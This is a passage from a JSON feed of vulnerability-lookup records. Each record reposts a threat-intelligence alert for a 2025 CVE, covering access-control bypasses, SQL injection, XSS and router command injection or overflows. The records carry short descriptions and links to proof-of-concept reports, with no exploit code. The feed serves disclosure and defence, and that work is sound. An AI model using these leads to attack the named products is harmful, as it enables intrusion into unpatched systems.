/scheduleLog/info/1 of PassJava-Platform v3.0.0 allows attackers to access sensitive information via a crafted payload.\n\ud83d\udccf Published: 2025-05-05T00:00:00.000Z\n\ud83d\udccf Modified: 2025-05-05T19:13:59.135Z\n\ud83d\udd17 References:\n1. https://github.com/Jackson0714/PassJava-Platform/issues/48", "creation_timestamp": "2025-05-05T19:20:25.000000Z"}, {"uuid": "ccfce939-f51d-4d36-aecd-d68965f871dc", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2025-45611", "type": "published-proof-of-concept", "source": "https://t.me/DarkWebInformer_CVEAlerts/14965", "content": "\ud83d\udd17 DarkWebInformer.com - Cyber Threat Intelligence\n\ud83d\udccc CVE ID: CVE-2025-45611\n\ud83d\udd25 CVSS Score: N/A\n\ud83d\udd39 Description: Incorrect access control in the /user/edit/ component of hope-boot v1.0.0 allows attackers to bypass authentication via a crafted GET request.\n\ud83d\udccf Published: 2025-05-05T00:00:00.000Z\n\ud83d\udccf Modified: 2025-05-05T19:14:03.609Z\n\ud83d\udd17 References:\n1. https://github.com/java-aodeng/hope-boot/issues/86", "creation_timestamp": "2025-05-05T19:20:24.000000Z"}, {"uuid": "4381b92b-320f-42e0-b7c4-b7b66423f41b", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2025-45612", "type": "published-proof-of-concept", "source": "https://t.me/DarkWebInformer_CVEAlerts/14964", "content": "\ud83d\udd17 DarkWebInformer.com - Cyber Threat Intelligence\n\ud83d\udccc CVE ID: CVE-2025-45612\n\ud83d\udd25 CVSS Score: N/A\n\ud83d\udd39 Description: Incorrect access control in xmall v1.1 allows attackers to bypass authentication via a crafted GET request to /index.\n\ud83d\udccf Published: 2025-05-05T00:00:00.000Z\n\ud83d\udccf Modified: 2025-05-05T19:14:04.321Z\n\ud83d\udd17 References:\n1. https://github.com/Exrick/xmall/issues/96", "creation_timestamp": "2025-05-05T19:20:23.000000Z"}, {"uuid": "6d6ee2e0-b67d-48aa-8760-016339922354", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2025-45607", "type": "published-proof-of-concept", "source": "https://t.me/DarkWebInformer_CVEAlerts/14969", "content": "\ud83d\udd17 DarkWebInformer.com - Cyber Threat Intelligence\n\ud83d\udccc CVE ID: CVE-2025-45607\n\ud83d\udd25 CVSS Score: N/A\n\ud83d\udd39 Description: An issue in the component /manage/ of itranswarp v2.19 allows attackers to bypass authentication via a crafted request.\n\ud83d\udccf Published: 2025-05-05T00:00:00.000Z\n\ud83d\udccf Modified: 2025-05-05T19:13:55.905Z\n\ud83d\udd17 References:\n1. https://github.com/michaelliao/itranswarp/issues/73", "creation_timestamp": "2025-05-05T19:20:31.000000Z"}, {"uuid": "c4da0028-93fd-42cc-bd2f-29589efe6757", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2025-45751", "type": "published-proof-of-concept", "source": "https://t.me/DarkWebInformer_CVEAlerts/14876", "content": "\ud83d\udd17 DarkWebInformer.com - Cyber Threat Intelligence\n\ud83d\udccc CVE ID: CVE-2025-45751\n\ud83d\udd25 CVSS Score: N/A\n\ud83d\udd39 Description: SourceCodester Web Based Pharmacy Product Management System 1.0 is vulnerable to Cross Site Scripting (XSS) in add-admin.php via the Fullname text field.\n\ud83d\udccf Published: 2025-05-05T00:00:00.000Z\n\ud83d\udccf Modified: 2025-05-05T13:41:29.826Z\n\ud83d\udd17 References:\n1. https://www.sourcecodester.com/php/17883/web-based-product-alert-system.html\n2. https://github.com/sw8y/vulnerability_research/blob/main/CVE-2025-45751/CVE-2025-45751.md", "creation_timestamp": "2025-05-05T14:20:50.000000Z"}, {"uuid": "2f43f56d-7e45-44d5-8127-8c6f19f7d833", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2025-45609", "type": "published-proof-of-concept", "source": "https://t.me/DarkWebInformer_CVEAlerts/14967", "content": "\ud83d\udd17 DarkWebInformer.com - Cyber Threat Intelligence\n\ud83d\udccc CVE ID: CVE-2025-45609\n\ud83d\udd25 CVSS Score: N/A\n\ud83d\udd39 Description: Incorrect access control in the doFilter function of kob latest v1.0.0-SNAPSHOT allows attackers to access sensitive information via a crafted payload.\n\ud83d\udccf Published: 2025-05-05T00:00:00.000Z\n\ud83d\udccf Modified: 2025-05-05T19:13:58.108Z\n\ud83d\udd17 References:\n1. https://github.com/LianjiaTech/kob/issues/29", "creation_timestamp": "2025-05-05T19:20:26.000000Z"}, {"uuid": "32d65240-7488-45c3-b368-11fb4f22ebf4", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2025-45618", "type": "published-proof-of-concept", "source": "https://t.me/DarkWebInformer_CVEAlerts/14958", "content": "\ud83d\udd17 DarkWebInformer.com - Cyber Threat Intelligence\n\ud83d\udccc CVE ID: CVE-2025-45618\n\ud83d\udd25 CVSS Score: N/A\n\ud83d\udd39 Description: Incorrect access control in the component /admin/sys/datasource/ajaxList of jeeweb-mybatis-springboot v0.0.1.RELEASE allows attackers to access sensitive information via a crafted payload.\n\ud83d\udccf Published: 2025-05-05T00:00:00.000Z\n\ud83d\udccf Modified: 2025-05-05T19:14:08.916Z\n\ud83d\udd17 References:\n1. https://github.com/huangjian888/jeeweb-mybatis-springboot/issues/31", "creation_timestamp": "2025-05-05T19:20:16.000000Z"}, {"uuid": "5ff7ac62-47ef-4d54-a3a9-15d21bfc31dc", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2025-45615", "type": "published-proof-of-concept", "source": "https://t.me/DarkWebInformer_CVEAlerts/14961", "content": "\ud83d\udd17 DarkWebInformer.com - Cyber Threat Intelligence\n\ud83d\udccc CVE ID: CVE-2025-45615\n\ud83d\udd25 CVSS Score: N/A\n\ud83d\udd39 Description: Incorrect access control in the /admin/ API of yaoqishan v0.0.1-SNAPSHOT allows attackers to gain access to Admin rights via a crafted request.\n\ud83d\udccf Published: 2025-05-05T00:00:00.000Z\n\ud83d\udccf Modified: 2025-05-05T19:14:06.618Z\n\ud83d\udd17 References:\n1. https://github.com/user-xiangpeng/yaoqishan/issues/29", "creation_timestamp": "2025-05-05T19:20:20.000000Z"}, {"uuid": "173082a8-45ca-4aaf-b263-357de92a1c2c", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2025-45613", "type": "published-proof-of-concept", "source": "https://t.me/DarkWebInformer_CVEAlerts/14963", "content": "\ud83d\udd17 DarkWebInformer.com - Cyber Threat Intelligence\n\ud83d\udccc CVE ID: CVE-2025-45613\n\ud83d\udd25 CVSS Score: N/A\n\ud83d\udd39 Description: Incorrect access control in the component /user/list of Shiro-Action v0.6 allows attackers to access sensitive information via a crafted payload.\n\ud83d\udccf Published: 2025-05-05T00:00:00.000Z\n\ud83d\udccf Modified: 2025-05-05T19:14:05.423Z\n\ud83d\udd17 References:\n1. https://github.com/zhaojun1998/Shiro-Action/issues/24", "creation_timestamp": "2025-05-05T19:20:22.000000Z"}, {"uuid": "7727b288-ff53-4398-8da1-c0fdc701b508", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2025-45614", "type": "published-proof-of-concept", "source": "https://t.me/DarkWebInformer_CVEAlerts/14962", "content": "\ud83d\udd17 DarkWebInformer.com - Cyber Threat Intelligence\n\ud83d\udccc CVE ID: CVE-2025-45614\n\ud83d\udd25 CVSS Score: N/A\n\ud83d\udd39 Description: Incorrect access control in the component /api/user/manager of One v1.0 allows attackers to access sensitive information via a crafted payload.\n\ud83d\udccf Published: 2025-05-05T00:00:00.000Z\n\ud83d\udccf Modified: 2025-05-05T19:14:06.022Z\n\ud83d\udd17 References:\n1. https://github.com/lcw2004/one/issues/44", "creation_timestamp": "2025-05-05T19:20:21.000000Z"}, {"uuid": "798e6b0f-0376-4c6c-98dd-4480727fcb6e", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2025-45616", "type": "published-proof-of-concept", "source": "https://t.me/DarkWebInformer_CVEAlerts/14960", "content": "\ud83d\udd17 DarkWebInformer.com - Cyber Threat Intelligence\n\ud83d\udccc CVE ID: CVE-2025-45616\n\ud83d\udd25 CVSS Score: N/A\n\ud83d\udd39 Description: Incorrect access control in the /admin/** API of brcc v1.2.0 allows attackers to gain access to Admin rights via a crafted request.\n\ud83d\udccf Published: 2025-05-05T00:00:00.000Z\n\ud83d\udccf Modified: 2025-05-05T19:14:07.221Z\n\ud83d\udd17 References:\n1. https://github.com/baidu/brcc/issues/194", "creation_timestamp": "2025-05-05T19:20:19.000000Z"}, {"uuid": "3e7ff8c9-2536-4cad-b8ea-ae3bc7455be4", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2025-45487", "type": "published-proof-of-concept", "source": "https://t.me/DarkWebInformer_CVEAlerts/15207", "content": "\ud83d\udd17 DarkWebInformer.com - Cyber Threat Intelligence\n\ud83d\udccc CVE ID: CVE-2025-45487\n\ud83d\udd25 CVSS Score: N/A\n\ud83d\udd39 Description: Linksys E5600 v1.1.0.26 was discovered to contain a command injection vulnerability in the runtime.InternetConnection function.\n\ud83d\udccf Published: 2025-05-06T00:00:00.000Z\n\ud83d\udccf Modified: 2025-05-06T20:08:00.621Z\n\ud83d\udd17 References:\n1. https://github.com/JZP018/vuln03/blob/main/linksys/E5600/CI_InternetConnection/CI_InternetConnection.pdf\n2. https://github.com/JZP018/vuln03/blob/main/linksys/E5600/CI_InternetConnection/CI_InternetConnection.py", "creation_timestamp": "2025-05-06T20:21:10.000000Z"}, {"uuid": "ed2063f4-36ce-4a0f-981b-ad25d1316ebc", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2025-45492", "type": "published-proof-of-concept", "source": "https://t.me/DarkWebInformer_CVEAlerts/15160", "content": "\ud83d\udd17 DarkWebInformer.com - Cyber Threat Intelligence\n\ud83d\udccc CVE ID: CVE-2025-45492\n\ud83d\udd25 CVSS Score: N/A\n\ud83d\udd39 Description: Netgear EX8000 V1.0.0.126 is vulnerable to Command Injection via the Iface parameter in the action_wireless function.\n\ud83d\udccf Published: 2025-05-06T00:00:00.000Z\n\ud83d\udccf Modified: 2025-05-06T15:49:59.022Z\n\ud83d\udd17 References:\n1. https://github.com/JZP018/vuln03/blob/main/netgear/EX8000/cve-netgear_EX8000_CI_action_wireless.pdf\n2. https://github.com/JZP018/vuln03/blob/main/netgear/EX8000/netgear_EX8000_CI_action_wireless.mp4", "creation_timestamp": "2025-05-06T16:22:03.000000Z"}, {"uuid": "0a750ac6-4509-41d8-8be8-0b50aff1c8b2", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2025-45514", "type": "published-proof-of-concept", "source": "https://t.me/DarkWebInformer_CVEAlerts/15391", "content": "\ud83d\udd17 DarkWebInformer.com - Cyber Threat Intelligence\n\ud83d\udccc CVE ID: CVE-2025-45514\n\ud83d\udd25 CVSS Score: N/A\n\ud83d\udd39 Description: Tenda FH451 V1.0.0.9 has a stack overflow vulnerability in the function.frmL7ImForm.\n\ud83d\udccf Published: 2025-05-07T00:00:00.000Z\n\ud83d\udccf Modified: 2025-05-07T18:53:22.496Z\n\ud83d\udd17 References:\n1. https://github.com/Eu21ka/cve_report/blob/master/The_router_Tenda_FH451_V1.0.0.9_of_Shenzhen_Jixiang_Tenda_Technology_Co.%2C_Ltd._has_a_stack_overflow_vulnerability_2.md", "creation_timestamp": "2025-05-07T19:22:27.000000Z"}, {"uuid": "76ebde29-a448-4546-bc10-33e99835b994", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2025-45388", "type": "published-proof-of-concept", "source": "https://t.me/DarkWebInformer_CVEAlerts/15384", "content": "\ud83d\udd17 DarkWebInformer.com - Cyber Threat Intelligence\n\ud83d\udccc CVE ID: CVE-2025-45388\n\ud83d\udd25 CVSS Score: N/A\n\ud83d\udd39 Description: Wagtail CMS 6.4.1 is vulnerable to a Stored Cross-Site Scripting (XSS) in the document upload functionality. Attackers can inject malicious code inside a PDF file. When a user clicks the document in the CMS interface, the payload executes.\n\ud83d\udccf Published: 2025-05-07T00:00:00.000Z\n\ud83d\udccf Modified: 2025-05-07T18:55:38.602Z\n\ud83d\udd17 References:\n1. https://github.com/echoBRT/Wagtail-CMS-XSS/", "creation_timestamp": "2025-05-07T19:22:18.000000Z"}, {"uuid": "4665093c-5755-44e3-9017-df8dcc7c8f99", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2025-4508", "type": "published-proof-of-concept", "source": "https://t.me/DarkWebInformer_CVEAlerts/15901", "content": "\ud83d\udd17 DarkWebInformer.com - Cyber Threat Intelligence\n\ud83d\udccc CVE ID: CVE-2025-4508\n\ud83d\udd25 CVSS Score: 6.9 (cvssV4_0, Vector: CVSS:4.0/AV:N/AC:L/AT:N/PR:N/UI:N/VC:L/VI:L/VA:L/SC:N/SI:N/SA:N)\n\ud83d\udd39 Description: A vulnerability classified as critical was found in PHPGurukul e-Diary Management System 1.0. This vulnerability affects unknown code of the file /my-profile.php. The manipulation of the argument fname leads to sql injection. The attack can be initiated remotely. The exploit has been disclosed to the public and may be used. Other parameters might be affected as well.\n\ud83d\udccf Published: 2025-05-10T17:00:07.517Z\n\ud83d\udccf Modified: 2025-05-10T17:00:07.517Z\n\ud83d\udd17 References:\n1. https://vuldb.com/?id.308224\n2. https://vuldb.com/?ctiid.308224\n3. https://vuldb.com/?submit.567263\n4. https://github.com/y77-88/myCVE/issues/4\n5. https://phpgurukul.com/", "creation_timestamp": "2025-05-10T17:38:10.000000Z"}, {"uuid": "902e8453-e563-4253-a471-99cdcc2d735b", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2025-4512", "type": "published-proof-of-concept", "source": "https://t.me/DarkWebInformer_CVEAlerts/15907", "content": "\ud83d\udd17 DarkWebInformer.com - Cyber Threat Intelligence\n\ud83d\udccc CVE ID: CVE-2025-4512\n\ud83d\udd25 CVSS Score: 5.3 (cvssV4_0, Vector: CVSS:4.0/AV:N/AC:L/AT:N/PR:N/UI:P/VC:N/VI:L/VA:N/SC:N/SI:N/SA:N)\n\ud83d\udd39 Description: A vulnerability classified as problematic has been found in Inetum IODAS 7.2-LTS.4.1-JDK7/7.2-RC3.2-JDK7. Affected is an unknown function of the file /astre/iodasweb/app.jsp. The manipulation of the argument action leads to cross site scripting. It is possible to launch the attack remotely. The exploit has been disclosed to the public and may be used. The vendor was contacted early about this disclosure but did not respond in any way.\n\ud83d\udccf Published: 2025-05-10T19:00:06.252Z\n\ud83d\udccf Modified: 2025-05-10T19:00:06.252Z\n\ud83d\udd17 References:\n1. https://vuldb.com/?id.308232\n2. https://vuldb.com/?ctiid.308232\n3. https://vuldb.com/?submit.563733\n4. https://github.com/lam-sec/iodasweb-poc", "creation_timestamp": "2025-05-10T19:26:53.000000Z"}, {"uuid": "daa49407-81a7-4e55-b132-05b7fca7c112", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2025-45819", "type": "published-proof-of-concept", "source": "https://t.me/DarkWebInformer_CVEAlerts/15546", "content": "\ud83d\udd17 DarkWebInformer.com - Cyber Threat Intelligence\n\ud83d\udccc CVE ID: CVE-2025-45819\n\ud83d\udd25 CVSS Score: N/A\n\ud83d\udd39 Description: Slims (Senayan Library Management Systems) 9 Bulian 9.6.1 is vulnerable to SQL Injection in admin/modules/master_file/author.php.\n\ud83d\udccf Published: 2025-05-08T00:00:00.000Z\n\ud83d\udccf Modified: 2025-05-08T14:51:43.583Z\n\ud83d\udd17 References:\n1. https://github.com/slims/slims9_bulian/issues/281\n2. https://github.com/christopherralinanggoman/cve-skripsi/blob/main/my_reports/slims-9-bulian-author-report.md", "creation_timestamp": "2025-05-08T15:24:42.000000Z"}, {"uuid": "66c0d49f-5f1a-47cb-861d-cdb4341e84de", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2025-45818", "type": "published-proof-of-concept", "source": "https://t.me/DarkWebInformer_CVEAlerts/15545", "content": "\ud83d\udd17 DarkWebInformer.com - Cyber Threat Intelligence\n\ud83d\udccc CVE ID: CVE-2025-45818\n\ud83d\udd25 CVSS Score: N/A\n\ud83d\udd39 Description: Slims (Senayan Library Management Systems) 9 Bulian 9.6.1 is vulnerable to SQL Injection in admin/modules/master_file/item_status.php.\n\ud83d\udccf Published: 2025-05-08T00:00:00.000Z\n\ud83d\udccf Modified: 2025-05-08T14:55:10.788Z\n\ud83d\udd17 References:\n1. https://github.com/slims/slims9_bulian/issues/280\n2. https://github.com/christopherralinanggoman/cve-skripsi/blob/main/my_reports/slims-9-bulian-item-status-report.md", "creation_timestamp": "2025-05-08T15:24:41.000000Z"}, {"uuid": "4bb5e798-85df-4136-aceb-db7f287fb031", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2025-45526", "type": "published-proof-of-concept", "source": "https://t.me/DarkWebInformer_CVEAlerts/19624", "content": "\ud83d\udd17 DarkWebInformer.com - Cyber Threat Intelligence\n\ud83d\udccc CVE ID: CVE-2025-45526\n\ud83d\udd25 CVSS Score: 2.9 (cvssV3_1, Vector: CVSS:3.1/AV:L/AC:H/PR:N/UI:N/S:U/C:N/I:N/A:L)\n\ud83d\udd39 Description: A denial of service (DoS) vulnerability has been identified in the JavaScript library microlight version 0.0.7. This library, used for syntax highlighting, does not limit the size of textual content it processes in HTML elements with the microlight class. When excessively large content (e.g., 100 million characters) is processed, the reset function in microlight.js consumes excessive memory and CPU resources, causing browser crashes or unresponsiveness. An attacker can exploit this vulnerability by tricking a user into visiting a malicious web page containing a microlight element with large content, resulting in a denial of service. NOTE: this is disputed by multiple parties because a large amount of memory and CPU resources is expected to be needed for content of that size.\n\ud83d\udccf Published: 2025-06-17T00:00:00.000Z\n\ud83d\udccf Modified: 2025-06-26T16:10:51.373Z\n\ud83d\udd17 References:\n1. https://gist.github.com/Rootingg/483b09b760d031b62b172f2153f3ed2a\n2. https://github.com/github/advisory-database/pull/5730", "creation_timestamp": "2025-06-26T16:51:42.000000Z"}, {"uuid": "da2ff38f-8169-4261-aa77-459c7549d705", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2025-4541", "type": "published-proof-of-concept", "source": "https://t.me/DarkWebInformer_CVEAlerts/15929", "content": "\ud83d\udd17 DarkWebInformer.com - Cyber Threat Intelligence\n\ud83d\udccc CVE ID: CVE-2025-4541\n\ud83d\udd25 CVSS Score: 5.3 (cvssV4_0, Vector: CVSS:4.0/AV:N/AC:L/AT:N/PR:L/UI:N/VC:L/VI:L/VA:L/SC:N/SI:N/SA:N)\n\ud83d\udd39 Description: A vulnerability classified as critical has been found in LmxCMS 1.41. Affected is the function manageZt of the file c\\admin\\ZtAction.class.php of the component POST Request Handler. The manipulation of the argument sortid leads to sql injection. It is possible to launch the attack remotely. The exploit has been disclosed to the public and may be used. The vendor was contacted early about this disclosure but did not respond in any way.\n\ud83d\udccf Published: 2025-05-11T16:00:05.812Z\n\ud83d\udccf Modified: 2025-05-11T16:00:05.812Z\n\ud83d\udd17 References:\n1. https://vuldb.com/?id.308286\n2. https://vuldb.com/?ctiid.308286\n3. https://vuldb.com/?submit.567191\n4. https://github.com/xiaoyangsec/LmxCMS-SQL-Injection/blob/main/LmxCMS-SQL-Injection.md", "creation_timestamp": "2025-05-11T16:27:48.000000Z"}, {"uuid": "0a7593df-1b19-4159-94b6-abafc6d1a783", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2025-4538", "type": "published-proof-of-concept", "source": "https://t.me/DarkWebInformer_CVEAlerts/15928", "content": "\ud83d\udd17 DarkWebInformer.com - Cyber Threat Intelligence\n\ud83d\udccc CVE ID: CVE-2025-4538\n\ud83d\udd25 CVSS Score: 5.3 (cvssV4_0, Vector: CVSS:4.0/AV:N/AC:L/AT:N/PR:L/UI:N/VC:L/VI:L/VA:L/SC:N/SI:N/SA:N)\n\ud83d\udd39 Description: A vulnerability was found in kkFileView 4.4.0. It has been classified as critical. This affects an unknown part of the file /fileUpload. The manipulation of the argument File leads to unrestricted upload. It is possible to initiate the attack remotely. The exploit has been disclosed to the public and may be used. The vendor was contacted early about this disclosure but did not respond in any way.\n\ud83d\udccf Published: 2025-05-11T10:31:04.715Z\n\ud83d\udccf Modified: 2025-05-11T10:31:04.715Z\n\ud83d\udd17 References:\n1. https://vuldb.com/?id.308283\n2. https://vuldb.com/?ctiid.308283\n3. https://vuldb.com/?submit.566596\n4. https://magnificent-dill-351.notion.site/Arbitrary-File-Upload-in-kkFileView-4-4-0-1e3c693918ed802581faccab9140a130", "creation_timestamp": "2025-05-11T11:28:22.000000Z"}, {"uuid": "5f0e1000-41e1-431b-8071-83b78b4976fb", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2025-45779", "type": "published-proof-of-concept", "source": "https://t.me/DarkWebInformer_CVEAlerts/15938", "content": "\ud83d\udd17 DarkWebInformer.com - Cyber Threat Intelligence\n\ud83d\udccc CVE ID: CVE-2025-45779\n\ud83d\udd25 CVSS Score: N/A\n\ud83d\udd39 Description: Tenda AC10 V1.0re_V15.03.06.46 is vulnerable to Buffer Overflow in the formSetPPTPUserList handler via the list POST parameter.\n\ud83d\udccf Published: 2025-05-12T00:00:00.000Z\n\ud83d\udccf Modified: 2025-05-12T16:44:28.566Z\n\ud83d\udd17 References:\n1. https://www.tendacn.com/us/download/detail-3782.html\n2. https://github.com/sunyou-iot/iot-vul/blob/main/TendaAC10/CVE-2025-45779/README.md", "creation_timestamp": "2025-05-12T18:24:02.000000Z"}, {"uuid": "fd64775d-d34e-40c2-9b8e-512345fd3c9a", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2025-45779", "type": "published-proof-of-concept", "source": "https://t.me/DarkWebInformer_CVEAlerts/15957", "content": "\ud83d\udd17 DarkWebInformer.com - Cyber Threat Intelligence\n\ud83d\udccc CVE ID: CVE-2025-45779\n\ud83d\udd25 CVSS Score: N/A\n\ud83d\udd39 Description: Tenda AC10 V1.0re_V15.03.06.46 is vulnerable to Buffer Overflow in the formSetPPTPUserList handler via the list POST parameter.\n\ud83d\udccf Published: 2025-05-12T00:00:00.000Z\n\ud83d\udccf Modified: 2025-05-12T16:44:28.566Z\n\ud83d\udd17 References:\n1. https://www.tendacn.com/us/download/detail-3782.html\n2. https://github.com/sunyou-iot/iot-vul/blob/main/TendaAC10/CVE-2025-45779/README.md", "creation_timestamp": "2025-05-12T18:26:30.000000Z"}, {"uuid": "3ec70e71-5a66-4c1b-b45e-82cb15c32641", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2025-45820", "type": "published-proof-of-concept", "source": "https://t.me/DarkWebInformer_CVEAlerts/15547", "content": "\ud83d\udd17 DarkWebInformer.com - Cyber Threat Intelligence\n\ud83d\udccc CVE ID: CVE-2025-45820\n\ud83d\udd25 CVSS Score: N/A\n\ud83d\udd39 Description: Slims (Senayan Library Management Systems) 9 Bulian 9.6.1 is vulnerable to SQL Injection in admin/modules/bibliography/pop_author_edit.php.\n\ud83d\udccf Published: 2025-05-08T00:00:00.000Z\n\ud83d\udccf Modified: 2025-05-08T14:45:59.856Z\n\ud83d\udd17 References:\n1. https://github.com/slims/slims9_bulian/issues/282\n2. https://github.com/christopherralinanggoman/cve-skripsi/blob/main/my_reports/slims-9-bulian-pop-author-edit-report.md", "creation_timestamp": "2025-05-08T15:24:43.000000Z"}, {"uuid": "5dbe2cc0-d53e-4a77-a7b5-d4573015c490", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2025-45887", "type": "published-proof-of-concept", "source": "https://t.me/DarkWebInformer_CVEAlerts/15718", "content": "\ud83d\udd17 DarkWebInformer.com - Cyber Threat Intelligence\n\ud83d\udccc CVE ID: CVE-2025-45887\n\ud83d\udd25 CVSS Score: N/A\n\ud83d\udd39 Description: Yifang CMS v2.0.2 is vulnerable to Server-Side Request Forgery (SSRF) in /api/file/getRemoteContent.\n\ud83d\udccf Published: 2025-05-09T00:00:00.000Z\n\ud83d\udccf Modified: 2025-05-09T14:12:05.073Z\n\ud83d\udd17 References:\n1. https://gitee.com/wanglongcn/yifang/issues/IBZVAG", "creation_timestamp": "2025-05-09T14:26:01.000000Z"}, {"uuid": "13918bf3-a0cb-4e2a-b850-3b7870093e08", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2025-45885", "type": "published-proof-of-concept", "source": "https://t.me/DarkWebInformer_CVEAlerts/15724", "content": "\ud83d\udd17 DarkWebInformer.com - Cyber Threat Intelligence\n\ud83d\udccc CVE ID: CVE-2025-45885\n\ud83d\udd25 CVSS Score: N/A\n\ud83d\udd39 Description: PHPGURUKUL Vehicle Parking Management System v1.13 is vulnerable to SQL injection in the /vpms/users/login.php file. Attackers can inject malicious code from the parameter 'emailcont' and use it directly in SQL queries.\n\ud83d\udccf Published: 2025-05-09T00:00:00.000Z\n\ud83d\udccf Modified: 2025-05-09T14:04:55.495Z\n\ud83d\udd17 References:\n1. https://github.com/lintian31/vpm-system/blob/main/Vehicle%20parking%20Management%20System.md", "creation_timestamp": "2025-05-09T14:26:08.000000Z"}, {"uuid": "b92f67a2-144b-47f4-8972-65d6726f483f", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2025-45798", "type": "published-proof-of-concept", "source": "https://t.me/DarkWebInformer_CVEAlerts/15615", "content": "\ud83d\udd17 DarkWebInformer.com - Cyber Threat Intelligence\n\ud83d\udccc CVE ID: CVE-2025-45798\n\ud83d\udd25 CVSS Score: N/A\n\ud83d\udd39 Description: A command execution vulnerability exists in the TOTOLINK A950RG V4.1.2cu.5204_B20210112. The vulnerability is located in the setNoticeCfg interface within the /lib/cste_modules/system.so library, specifically in the processing of the IpTo parameter.\n\ud83d\udccf Published: 2025-05-08T00:00:00.000Z\n\ud83d\udccf Modified: 2025-05-08T20:01:08.802Z\n\ud83d\udd17 References:\n1. https://github.com/SunnyYANGyaya/cuicuishark-sheep-fishIOT/blob/main/ToTolink/A950RG/5024-setNoticeCFG-IpTo-command.md", "creation_timestamp": "2025-05-08T20:23:56.000000Z"}, {"uuid": "5f92a67e-6c38-4a70-8498-508b08bb5efa", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2025-45797", "type": "published-proof-of-concept", "source": "https://t.me/DarkWebInformer_CVEAlerts/15614", "content": "\ud83d\udd17 DarkWebInformer.com - Cyber Threat Intelligence\n\ud83d\udccc CVE ID: CVE-2025-45797\n\ud83d\udd25 CVSS Score: N/A\n\ud83d\udd39 Description: TOTOlink A950RG V4.1.2cu.5204_B20210112 contains a buffer overflow vulnerability. The vulnerability arises from the improper input validation of the NoticeUrl parameter in the setNoticeCfg interface of /lib/cste_modules/system.so.\n\ud83d\udccf Published: 2025-05-08T00:00:00.000Z\n\ud83d\udccf Modified: 2025-05-08T20:02:40.561Z\n\ud83d\udd17 References:\n1. https://github.com/SunnyYANGyaya/cuicuishark-sheep-fishIOT/blob/main/ToTolink/A950RG/5024-setNoticeCFG-NoticURL-buffer.md", "creation_timestamp": "2025-05-08T20:23:54.000000Z"}, {"uuid": "5e110db0-319c-4b9a-86be-ddb8f7702f6c", 